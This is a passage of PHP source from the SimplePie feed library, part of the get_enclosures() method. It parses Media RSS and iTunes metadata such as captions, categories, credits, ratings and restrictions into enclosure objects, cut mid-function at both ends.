	 * At this point, we're pretty much assuming that all enclosures for an item
	 * are the same content.  Anything else is too complicated to
	 * properly support.
	 *
	 * @since Beta 2
	 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
	 * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists).
	 * @return SimplePie_Enclosure[]|null List of SimplePie_Enclosure items
	 */
	public function get_enclosures()
	{
		if (!isset($this->data['enclosures']))
		{
			$this->data['enclosures'] = array();

			// Elements
			$captions_parent = null;
			$categories_parent = null;
			$copyrights_parent = null;
			$credits_parent = null;
			$description_parent = null;
			$duration_parent = null;
			$hashes_parent = null;
			$keywords_parent = null;
			$player_parent = null;
			$ratings_parent = null;
			$restrictions_parent = null;
			$thumbnails_parent = null;
			$title_parent = null;

			// Let's do the channel and item-level ones first, and just re-use them if we need to.
			$parent = $this->get_feed();

			// CAPTIONS
			if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
			{
				foreach ($captions as $caption)
				{
					$caption_type = null;
					$caption_lang = null;
					$caption_startTime = null;
					$caption_endTime = null;
					$caption_text = null;
					if (isset($caption['attribs']['']['type']))
					{
						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['lang']))
					{
						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['start']))
					{
						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['end']))
					{
						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['data']))
					{
						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
				}
			}
			elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
			{
				foreach ($captions as $caption)
				{
					$caption_type = null;
					$caption_lang = null;
					$caption_startTime = null;
					$caption_endTime = null;
					$caption_text = null;
					if (isset($caption['attribs']['']['type']))
					{
						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['lang']))
					{
						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['start']))
					{
						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['attribs']['']['end']))
					{
						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($caption['data']))
					{
						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$captions_parent[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
				}
			}
			if (is_array($captions_parent))
			{
				$captions_parent = array_values(array_unique($captions_parent));
			}

			// CATEGORIES
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
			{
				$term = null;
				$scheme = null;
				$label = null;
				if (isset($category['data']))
				{
					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($category['attribs']['']['scheme']))
				{
					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				else
				{
					$scheme = 'http://search.yahoo.com/mrss/category_schema';
				}
				if (isset($category['attribs']['']['label']))
				{
					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
			}
			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
			{
				$term = null;
				$scheme = null;
				$label = null;
				if (isset($category['data']))
				{
					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($category['attribs']['']['scheme']))
				{
					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				else
				{
					$scheme = 'http://search.yahoo.com/mrss/category_schema';
				}
				if (isset($category['attribs']['']['label']))
				{
					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
			}
			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category)
			{
				$term = null;
				$scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
				$label = null;
				if (isset($category['attribs']['']['text']))
				{
					$label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));

				if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category']))
				{
					foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory)
					{
						if (isset($subcategory['attribs']['']['text']))
						{
							$label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
					}
				}
			}
			if (is_array($categories_parent))
			{
				$categories_parent = array_values(array_unique($categories_parent));
			}

			// COPYRIGHT
			if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
			{
				$copyright_url = null;
				$copyright_label = null;
				if (isset($copyright[0]['attribs']['']['url']))
				{
					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($copyright[0]['data']))
				{
					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
			}
			elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
			{
				$copyright_url = null;
				$copyright_label = null;
				if (isset($copyright[0]['attribs']['']['url']))
				{
					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				if (isset($copyright[0]['data']))
				{
					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
			}

			// CREDITS
			if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
			{
				foreach ($credits as $credit)
				{
					$credit_role = null;
					$credit_scheme = null;
					$credit_name = null;
					if (isset($credit['attribs']['']['role']))
					{
						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($credit['attribs']['']['scheme']))
					{
						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$credit_scheme = 'urn:ebu';
					}
					if (isset($credit['data']))
					{
						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
				}
			}
			elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
			{
				foreach ($credits as $credit)
				{
					$credit_role = null;
					$credit_scheme = null;
					$credit_name = null;
					if (isset($credit['attribs']['']['role']))
					{
						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($credit['attribs']['']['scheme']))
					{
						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$credit_scheme = 'urn:ebu';
					}
					if (isset($credit['data']))
					{
						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
				}
			}
			if (is_array($credits_parent))
			{
				$credits_parent = array_values(array_unique($credits_parent));
			}

			// DESCRIPTION
			if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
			{
				if (isset($description_parent[0]['data']))
				{
					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}
			elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
			{
				if (isset($description_parent[0]['data']))
				{
					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}

			// DURATION
			if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration'))
			{
				$seconds = null;
				$minutes = null;
				$hours = null;
				if (isset($duration_parent[0]['data']))
				{
					$temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					if (sizeof($temp) > 0)
					{
						$seconds = (int) array_pop($temp);
					}
					if (sizeof($temp) > 0)
					{
						$minutes = (int) array_pop($temp);
						$seconds += $minutes * 60;
					}
					if (sizeof($temp) > 0)
					{
						$hours = (int) array_pop($temp);
						$seconds += $hours * 3600;
					}
					unset($temp);
					$duration_parent = $seconds;
				}
			}

			// HASHES
			if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
			{
				foreach ($hashes_iterator as $hash)
				{
					$value = null;
					$algo = null;
					if (isset($hash['data']))
					{
						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($hash['attribs']['']['algo']))
					{
						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$algo = 'md5';
					}
					$hashes_parent[] = $algo.':'.$value;
				}
			}
			elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
			{
				foreach ($hashes_iterator as $hash)
				{
					$value = null;
					$algo = null;
					if (isset($hash['data']))
					{
						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($hash['attribs']['']['algo']))
					{
						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$algo = 'md5';
					}
					$hashes_parent[] = $algo.':'.$value;
				}
			}
			if (is_array($hashes_parent))
			{
				$hashes_parent = array_values(array_unique($hashes_parent));
			}

			// KEYWORDS
			if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
			{
				if (isset($keywords[0]['data']))
				{
					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
					foreach ($temp as $word)
					{
						$keywords_parent[] = trim($word);
					}
				}
				unset($temp);
			}
			if (is_array($keywords_parent))
			{
				$keywords_parent = array_values(array_unique($keywords_parent));
			}

			// PLAYER
			if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
			{
				if (isset($player_parent[0]['attribs']['']['url']))
				{
					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
				}
			}
			elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
			{
				if (isset($player_parent[0]['attribs']['']['url']))
				{
					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
				}
			}

			// RATINGS
			if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = null;
					$rating_value = null;
					if (isset($rating['attribs']['']['scheme']))
					{
						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$rating_scheme = 'urn:simple';
					}
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = 'urn:itunes';
					$rating_value = null;
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = null;
					$rating_value = null;
					if (isset($rating['attribs']['']['scheme']))
					{
						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$rating_scheme = 'urn:simple';
					}
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
			{
				foreach ($ratings as $rating)
				{
					$rating_scheme = 'urn:itunes';
					$rating_value = null;
					if (isset($rating['data']))
					{
						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
				}
			}
			if (is_array($ratings_parent))
			{
				$ratings_parent = array_values(array_unique($ratings_parent));
			}

			// RESTRICTIONS
			if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = null;
					$restriction_type = null;
					$restriction_value = null;
					if (isset($restriction['attribs']['']['relationship']))
					{
						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['attribs']['']['type']))
					{
						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['data']))
					{
						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = 'allow';
					$restriction_type = null;
					$restriction_value = 'itunes';
					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
					{
						$restriction_relationship = 'deny';
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = null;
					$restriction_type = null;
					$restriction_value = null;
					if (isset($restriction['attribs']['']['relationship']))
					{
						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['attribs']['']['type']))
					{
						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($restriction['data']))
					{
						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
			{
				foreach ($restrictions as $restriction)
				{
					$restriction_relationship = 'allow';
					$restriction_type = null;
					$restriction_value = 'itunes';
					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
					{
						$restriction_relationship = 'deny';
					}
					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
				}
			}
			if (is_array($restrictions_parent))
			{
				$restrictions_parent = array_values(array_unique($restrictions_parent));
			}
			else
			{
				$restrictions_parent = array(new SimplePie_Restriction('allow', null, 'default'));
			}

			// THUMBNAILS
			if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
			{
				foreach ($thumbnails as $thumbnail)
				{
					if (isset($thumbnail['attribs']['']['url']))
					{
						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
					}
				}
			}
			elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
			{
				foreach ($thumbnails as $thumbnail)
				{
					if (isset($thumbnail['attribs']['']['url']))
					{
						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
					}
				}
			}

			// TITLES
			if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
			{
				if (isset($title_parent[0]['data']))
				{
					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}
			elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
			{
				if (isset($title_parent[0]['data']))
				{
					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
				}
			}

			// Clear the memory
			unset($parent);

			// Attributes
			$bitrate = null;
			$channels = null;
			$duration = null;
			$expression = null;
			$framerate = null;
			$height = null;
			$javascript = null;
			$lang = null;
			$length = null;
			$medium = null;
			$samplingrate = null;
			$type = null;
			$url = null;
			$width = null;

			// Elements
			$captions = null;
			$categories = null;
			$copyrights = null;
			$credits = null;
			$description = null;
			$hashes = null;
			$keywords = null;
			$player = null;
			$ratings = null;
			$restrictions = null;
			$thumbnails = null;
			$title = null;

			// If we have media:group tags, loop through them.
			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group)
			{
				if(isset($group['child']) && isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
				{
					// If we have media:content tags, loop through them.
					foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
					{
						if (isset($content['attribs']['']['url']))
						{
							// Attributes
							$bitrate = null;
							$channels = null;
							$duration = null;
							$expression = null;
							$framerate = null;
							$height = null;
							$javascript = null;
							$lang = null;
							$length = null;
							$medium = null;
							$samplingrate = null;
							$type = null;
							$url = null;
							$width = null;

							// Elements
							$captions = null;
							$categories = null;
							$copyrights = null;
							$credits = null;
							$description = null;
							$hashes = null;
							$keywords = null;
							$player = null;
							$ratings = null;
							$restrictions = null;
							$thumbnails = null;
							$title = null;

							// Start checking the attributes of media:content
							if (isset($content['attribs']['']['bitrate']))
							{
								$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['channels']))
							{
								$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['duration']))
							{
								$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							else
							{
								$duration = $duration_parent;
							}
							if (isset($content['attribs']['']['expression']))
							{
								$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['framerate']))
							{
								$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['height']))
							{
								$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['lang']))
							{
								$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['fileSize']))
							{
								$length = intval($content['attribs']['']['fileSize']);
							}
							if (isset($content['attribs']['']['medium']))
							{
								$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['samplingrate']))
							{
								$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['type']))
							{
								$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['attribs']['']['width']))
							{
								$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);

							// Checking the other optional media: elements. Priority: media:content, media:group, item, channel

							// CAPTIONS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
								{
									$caption_type = null;
									$caption_lang = null;
									$caption_startTime = null;
									$caption_endTime = null;
									$caption_text = null;
									if (isset($caption['attribs']['']['type']))
									{
										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['lang']))
									{
										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['start']))
									{
										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['end']))
									{
										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['data']))
									{
										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
								}
								if (is_array($captions))
								{
									$captions = array_values(array_unique($captions));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
								{
									$caption_type = null;
									$caption_lang = null;
									$caption_startTime = null;
									$caption_endTime = null;
									$caption_text = null;
									if (isset($caption['attribs']['']['type']))
									{
										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['lang']))
									{
										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['start']))
									{
										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['attribs']['']['end']))
									{
										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($caption['data']))
									{
										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
								}
								if (is_array($captions))
								{
									$captions = array_values(array_unique($captions));
								}
							}
							else
							{
								$captions = $captions_parent;
							}

							// CATEGORIES
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
							{
								foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
								{
									$term = null;
									$scheme = null;
									$label = null;
									if (isset($category['data']))
									{
										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($category['attribs']['']['scheme']))
									{
										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$scheme = 'http://search.yahoo.com/mrss/category_schema';
									}
									if (isset($category['attribs']['']['label']))
									{
										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
								}
							}
							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
							{
								foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
								{
									$term = null;
									$scheme = null;
									$label = null;
									if (isset($category['data']))
									{
										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($category['attribs']['']['scheme']))
									{
										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$scheme = 'http://search.yahoo.com/mrss/category_schema';
									}
									if (isset($category['attribs']['']['label']))
									{
										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
								}
							}
							if (is_array($categories) && is_array($categories_parent))
							{
								$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
							}
							elseif (is_array($categories))
							{
								$categories = array_values(array_unique($categories));
							}
							elseif (is_array($categories_parent))
							{
								$categories = array_values(array_unique($categories_parent));
							}

							// COPYRIGHTS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
							{
								$copyright_url = null;
								$copyright_label = null;
								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
								{
									$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
								{
									$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
							{
								$copyright_url = null;
								$copyright_label = null;
								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
								{
									$copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
								{
									$copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
							}
							else
							{
								$copyrights = $copyrights_parent;
							}

							// CREDITS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
								{
									$credit_role = null;
									$credit_scheme = null;
									$credit_name = null;
									if (isset($credit['attribs']['']['role']))
									{
										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($credit['attribs']['']['scheme']))
									{
										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$credit_scheme = 'urn:ebu';
									}
									if (isset($credit['data']))
									{
